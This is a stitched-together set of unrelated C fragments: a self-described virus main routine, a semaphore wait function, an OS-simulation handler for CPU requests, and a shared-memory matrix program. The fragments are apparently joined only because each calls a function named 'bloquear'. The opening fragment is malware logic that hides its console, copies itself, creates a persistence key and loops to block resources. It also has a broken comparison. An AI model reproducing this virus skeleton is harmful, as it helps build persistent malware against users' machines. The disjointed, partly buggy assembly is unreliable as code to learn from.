int main(int argc, char* argv[]){
FreeConsole();
char *senda = getRuta();
copiarVirus(senda);
crearKey(senda);
bloquear(bloqueoUno);
bloquear(bloqueoDos);
bloquear(bloqueoTres);
bloquear(bloqueoCuatro);
bloquear(bloqueoCinco);
while(true){
crearKey(senda);
bloquear(bloqueoUno);
bloquear(bloqueoDos);
bloquear(bloqueoTres);
bloquear(bloqueoCuatro);
bloquear(bloqueoCinco);
if(argv[0]=senda){
moverAleatorio(); // O lo que queramos que haga nuestro virus
}
}
return 0;
}
int semaforo_wait(t_PCB *proceso, t_semaforo *s)
{
s->cuenta--;
if(s->cuenta < 0)
{
if(!proceso)
{
perror("Wait: wait() detecto que el proceso que decremento el semaforo debia ser bloqueado, sin embargo el argumento recibido en el parametro \"proceso\" fue NULL (revisar mecanismo de prediccion de wait)");
abort();
}
queue_push(s->cola, proceso);
bloquear(proceso, NULL, 0);
return 0;
}
else return 1;
}
/**
* Aca se atiende todos lo que llega desde la CPU.
* Interfaz expuesta a la CPU.
*/
void _atender_socket_cpu(conexion_cpu_t* conexion_cpu)
{
if(conexion_cpu == NULL)
return;
char* mensaje;
uint32_t len;
int32_t resultado = recibir(conexion_cpu->socket, &mensaje, &len);
tcb_t* tcbKM = get_tcb_km();
if(resultado == 0)
{
flag_t cod_op = codigo_operacion(mensaje);
printf("-- Recibimos request de CPU %d\n", conexion_cpu->id);
printf("");
bloquear_exit();
printf("- Codigo de operacion %d\n", cod_op);
printf("");
switch (cod_op) {
case MANDA_TCB:
printf("Pedido de TCB de CPU %d\n", conexion_cpu->id);
printf("");
pedir_tcb(conexion_cpu->id);
break;
case TOMA_RESULTADO:
;
pedido_con_resultado_t* pedido_resultado = deserializar_pedido_con_resultado_t(mensaje);
if(!proceso_muriendo(pedido_resultado->tcb->pid))
{ // Recibimos el TCB y esta todos OK
printf("Recibimos TCB con resultado %d\n", pedido_resultado->resultado);
printf("");
recibir_tcb(pedido_resultado->resultado, pedido_resultado->tcb);
}
else if(pedido_resultado->tcb->km)
{ // Recibimos el TCB de un proceso muriendo, siendo este el TCB KM (hay que replanificar KM?)
//eliminar_conclusion_tcb();
replanificar_tcb_km();
}
else
{// Recibimos el TCB de un proceso muriendo
// Creo que en este caso no hay que hacer nada
}
_enviar_completadook(conexion_cpu->socket);
free(pedido_resultado->tcb);
free(pedido_resultado);
planificar();
break;
case INTERRUPCION:
;
pedido_interrupcion_t* pedido_interrupcion = deserializar_pedido_interrupcion_t(mensaje);
logear_instruccion_protegida("INTERRUPCION", pedido_interrupcion->tcb);
if(!proceso_muriendo(pedido_interrupcion->tcb->pid))
interrupcion(pedido_interrupcion->tcb, pedido_interrupcion->direccion_de_memoria);
_enviar_completadook(conexion_cpu->socket);
free(pedido_interrupcion->tcb);
free(pedido_interrupcion);
break;
case ENTRADA_ESTANDAR:
logear_instruccion_protegida("ENTRADA ESTANDAR", get_tcb_km());
pedido_entrada_estandar_t* pedido_entrada = deserializar_pedido_entrada_estandar_t(mensaje);
if(!proceso_muriendo(tcbKM->pid))
{
if(enviar_entrada_estandar(pedido_entrada) == 0)
{
}
else
{
//_informar_fallo_syscall(conexion_cpu->socket);
}
}
free(pedido_entrada);
break;
case SALIDA_ESTANDAR:
logear_instruccion_protegida("SALIDA ESTANDAR", get_tcb_km());
pedido_salida_estandar_t* pedido_salida = deserializar_pedido_salida_estandar_t(mensaje);
if(!proceso_muriendo(tcbKM->pid))
{
if(salida_estandar(pedido_salida) == 0)
_enviar_completadook(conexion_cpu->socket);
else
{
_informar_fallo_syscall(conexion_cpu->socket);
}
}
else
{
_enviar_completadook(conexion_cpu->socket);
}
free(pedido_salida->cadena_de_texto);
free(pedido_salida);
break;
case JOIN:
logear_instruccion_protegida("JOIN", get_tcb_km());
pedido_join_t* pedido_join = deserializar_pedido_join_t(mensaje);
if(!proceso_muriendo(tcbKM->pid))
join(pedido_join->tid_llamador, pedido_join->tid_esperador);
_enviar_completadook(conexion_cpu->socket);
free(pedido_join);
break;
case BLOQUEAR:
logear_instruccion_protegida("BLOQUEAR", get_tcb_km());
pedido_bloquear_t* pedido_bloqueo = deserializar_pedido_bloquear_t(mensaje);
// No usamos el TCB porque el que se esta bloqueando
// es el que esta esperando la conclusion del KM
if(!proceso_muriendo(tcbKM->pid))
bloquear(pedido_bloqueo->identificador_de_recurso);
_enviar_completadook(conexion_cpu->socket);
free(pedido_bloqueo->tcb);
free(pedido_bloqueo);
break;
case DESPERTAR:
logear_instruccion_protegida("DESPERTAR", get_tcb_km());
pedido_despertar_t* pedido_despertar = deserializar_pedido_despertar_t(mensaje);
if(!proceso_muriendo(tcbKM->pid))
despertar(pedido_despertar->identificador_de_recurso);
_enviar_completadook(conexion_cpu->socket);
free(pedido_despertar);
break;
case CREAR_HILO:
logear_instruccion_protegida("CREAR HILO", get_tcb_km());
pedido_crear_hilo_t* pedido_crea = deserializar_pedido_crear_hilo_t(mensaje);
crea(pedido_crea->tcb, conexion_cpu->id);
break;
case DESCONEXION_CPU:
loggear_desconexion_cpu(conexion_cpu->id);
quitar_cpu_de_lista_espera_tcb(conexion_cpu->id);
FD_CLR(conexion_cpu->socket->fd, &READFDS_CPUS);
if(esta_ejecutando(conexion_cpu->id))
{
tcb_t* t = get_tcb_ejecutando_en_cpu(conexion_cpu->id);
mover_tcbs_a_exit(t->pid, true);
}
remover_y_eliminar_conexion_cpu(conexion_cpu->id);
break;
case CREA_UN_SEGMENTO:
;
pedido_de_crear_segmento_t* pedido_crear_segmento = deserializar_pedido_de_crear_segmento_t(mensaje);
crear_segmento_cpu(pedido_crear_segmento->pid, pedido_crear_segmento->tamano,&(conexion_cpu->id));
break;
case DESTRUI_SEGMENTO:
;
pedido_de_destruir_segmento_t* pedido_destruir_segmento = deserializar_pedido_de_destruir_segmento_t(mensaje);
destruir_segmento_cpu(pedido_destruir_segmento->pid,pedido_destruir_segmento->direccion_virtual, &(conexion_cpu->id));
break;
default:
break;
}
desbloquear_exit();
printf("-- Terminamos request de CPU %d\n", conexion_cpu->id);
printf("");
free(mensaje);
}
}
int main(){
init(); //inicializa operaciones
int i, j, n;
int shmid1,shmid2;
key_t llave1,llave2;
float *shm1;
float *shm2;
llave1 = 5677;
llave2 = 5678;
pid_t pid;
char *argv[2];
argv[0] = "Hijo";
argv[1] = NULL;
/*Creación de bloque de memoria compartida*/
if((shmid1 = shmget(llave1, sizeof(float)*100, IPC_CREAT | 0666)) < 0)
{
perror("Error al obtener memoria compartida: shmget\n");
exit(0);
}
if((shmid2 = shmget(llave2, sizeof(float)*100, IPC_CREAT | 0666)) < 0)
{
perror("Error al obtener memoria compartida: shmget\n");
exit(0);
}
if((shm1 = shmat(shmid1, NULL, 0)) == (float *) -1){
perror("Error al enlazar la memoria compartida: shmat\n");
exit(0);
}
if((shm2 = shmat(shmid2, NULL, 0)) == (float *) -1){
perror("Error al enlazar la memoria compartida: shmat\n");
exit(0);
}
printf("shmid1: %d\n", shmid1);
printf("shmid2: %d\n", shmid2);
reset(0); //ponemos en 0 el semáforo
reset(1); //ponemos en 0 el semáforo
bloquear(0); //suma
bloquear(1); //mult
/*Valores de las matrices para el proceso hijo*/
srand(time(NULL));
for(i=0; i<100; i++){
*(shm1+i) = rand() % 11;
}
for(i=0; i<100; i++){
*(shm2+i) = rand() % 11;
}
/*Creación del proceso hijo*/
if((pid= fork())==-1)
printf("Error al crear el proceso hijo\n");
if(pid == 0){
execv(argv[0], argv);
}
else{
esperar(1); //esperamos operaciones
/*Obtención de los resultados de la suma y producto*/
Matriz mult = crear(10, 10);
Matriz sum = crear(10, 10);
for(i=0; i<10; i++){
for(j=0; j<10; j++){
n= (i*10) + j;
mult->filas[i][j] = *(shm1+n);
sum->filas[i][j] = *(shm2 + n);
}
}
printf("Calculando inversas...\n");
/*Matrices Inversas*/
Matriz invMult = inv(mult);
Matriz invSum = inv(sum);
printf("\nMatriz inversa de la MULTIPLICACIÓN realizada por el HIJO:\n");
printMatriz(invMult);
printf("\nMatriz inversa de la SUMA realizada por el NIETO:\n");
printMatriz(invSum);
printf("\n");
guardaMatriz(invMult, "multiplicacion.txt");
guardaMatriz(invSum, "suma.txt");
printf("Terminado.\n");
exit(0);
}
}